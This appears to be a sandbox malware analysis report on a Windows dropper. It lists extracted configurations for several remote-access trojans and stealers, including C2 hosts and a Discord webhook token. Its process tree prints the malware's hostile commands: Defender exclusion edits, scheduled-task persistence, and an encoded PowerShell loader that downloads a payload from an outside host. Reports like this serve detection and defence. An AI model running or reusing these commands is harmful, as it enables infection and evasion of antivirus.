Resubmissions
18/08/2026, 19:34
260818-x972xsygjb1002/07/2026, 09:19
260702-labnwsfs6z29/05/2026, 16:41
260529-t7a3mabx7l26/05/2026, 03:15
260526-dr1qcadz4y21/05/2026, 18:13
260521-wt38csgz711021/05/2026, 18:04
260521-wnpssagx3s1021/05/2026, 17:59
260521-wkpzdady5j1021/05/2026, 17:58
260521-wj9bmady2k21/05/2026, 17:58
260521-wj5y7sgv4v21/05/2026, 17:57
260521-wj2lsagv3zAnalysis
- max time kernel
92s - max time network
526s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
06/04/2026, 23:44
Errors
Reason
Machine shutdown
General
- Target 4363463463464363463463463.exe
- Size 10KB
- Sample260406-3rdy1set6j
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Score
10/10
Malware Config
Extracted
Family
-
remcos
Version
-
7.2.0 Pro
Botnet
-
RemoteHost
C2
-
oficialrem.duckdns.org:5000
Attributes
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-VMJ5WS
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Extracted
Family
-
supershell
C2
-
wss://47.98.177.117:3232
Extracted
Family
-
xworm
Version
-
XWorm V5.6
C2
-
rates-north.gl.at.ply.gg:51537
-
second-spyware.gl.at.ply.gg:51537
Attributes
-
Install_directory
%AppData%
-
install_file
svchost.exe
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
RuntimeBroker
C2
-
wisedreams-53895.portmap.io:53895
Mutex
-
3660874b-db54-4220-a432-d5fe6599ee7f
Attributes
-
encryption_key
2EEF46A138D721E58A3C90F6CE7CFC94A47B0492
-
install_name
updater.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
RuntimeBroker
-
subdirectory
SubDir
Extracted
Family
-
44caliber
C2
-
https://discord.com/api/webhooks/1146486791835230260/bE9QI2eAT_dyqn0dm7VljbMDjUklfKOXxq3ua0HOtKeG6TIgizThvorpCYQf2NEkabwH
Extracted
Family
-
formbook
Version
-
3.9
Campaign
-
xx
Decoy
-
avricotprint.com
-
wiregalvanize.com
-
reapii.info
-
sungkhong.com
-
samakayadtb.com
-
zerofuchs.com
-
taxopark.biz
-
eatinginbangkok.com
-
cooleju.com
-
zensane.net
-
enviraogs.com
-
1stcentral-email.com
-
zylphyr.com
-
1zg0xq.info
-
buyercard.net
-
moom-intl.com
-
wcjcfj.com
-
boutiquevivace.com
-
zgluntai.com
-
bkddpec.com
Signatures
- 44Caliber
An open source infostealer written in C#.
- 44Caliber family
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- Amadey family
- Ammyy Admin
Remote admin tool with various capabilities.
- AmmyyAdmin payload 1 IoCs
- Ammyyadmin family
- Detect Xworm Payload 2 IoCs
- Detects Amadey x86-bit Payload 1 IoCs
- Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Formbook family
- Formbook payload 2 IoCs
- Modifies security service 2 TTPs 5 IoCs
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 3 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
- Redline family
- Remcos
Remcos is a closed-source remote control and surveillance software.
- Remcos family
- Supershell
Supershell is a cross-platfrom reverse shell written in Golang.
- Supershell family
- Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs
Using powershell.exe command.
- Downloads MZ/PE file 46 IoCs
- Possible privilege escalation attempt 2 IoCs
- Uses browser remote debugging 2 TTPs 12 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
- .NET Reactor proctector 1 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- ACProtect 1.3x - 1.4x DLL software 1 IoCs
Detects file using ACProtect software.
- ASPack v2.12-2.42 2 IoCs
Detects executables packed with ASPack v2.12-2.42
- Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 5 IoCs
Looks up country code configured in the registry, likely geofence.
- Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Drops startup file 8 IoCs
- Executes dropped EXE 55 IoCs
- Loads dropped DLL 35 IoCs
- Modifies file permissions 1 TTPs 2 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Themida packer 9 IoCs
Detects Themida, an advanced Windows software protection system.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 5 IoCs
- Checks whether UAC is enabled 1 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 9 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Service Discovery 1 TTPs 1 IoCs
Attempt to gather information on host's network.
- Power Settings 1 TTPs 10 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- ConfuserEx .NET packer 2 IoCs
Detects ConfuserEx .NET packer.
- Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
- Suspicious use of SetThreadContext 3 IoCs
- UPX packed file 22 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 38 IoCs
- Drops file in Windows directory 1 IoCs
- Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Detects Pyinstaller 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 5 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 36 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 20 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Inno Setup is an open-source installation builder for Windows applications. 1 IoCs
Inno Setup installer
- NSIS installer 7 IoCs
- Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
- Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
- GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Kills process with taskkill 3 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 64 IoCs
- Modifies system certificate store 2 TTPs 6 IoCs
- Runs ping.exe 1 TTPs 18 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 25 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 6 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 11 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 2 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 6 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"2⤵
- Downloads MZ/PE file
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\doitallmain.exe"C:\Users\Admin\AppData\Local\Temp\Files\doitallmain.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1.exe"C:\Users\Admin\AppData\Local\Temp\Files\1.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\whoami.exewhoami4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\a.exe"C:\Users\Admin\AppData\Local\Temp\Files\a.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\TempSpoofer.exe"C:\Users\Admin\AppData\Local\Temp\Files\TempSpoofer.exe"3⤵
- Downloads MZ/PE file
- Checks computer location settings
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\e7b2acdd-5001-4ea0-bbe1-d2ca8fbe8892\background.exe"C:\Users\Admin\AppData\Local\e7b2acdd-5001-4ea0-bbe1-d2ca8fbe8892\background.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\964e477b\8322\cca9a850.exe"C:\Users\Admin\AppData\Local\Temp\964e477b\8322\cca9a850.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGIAaQBsAGwALQBwAHIAbwBvAGYALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker8⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy8⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:648⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:648⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:648⤵
-
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force /target:computer8⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"8⤵
-
C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"9⤵
-
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu6⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0A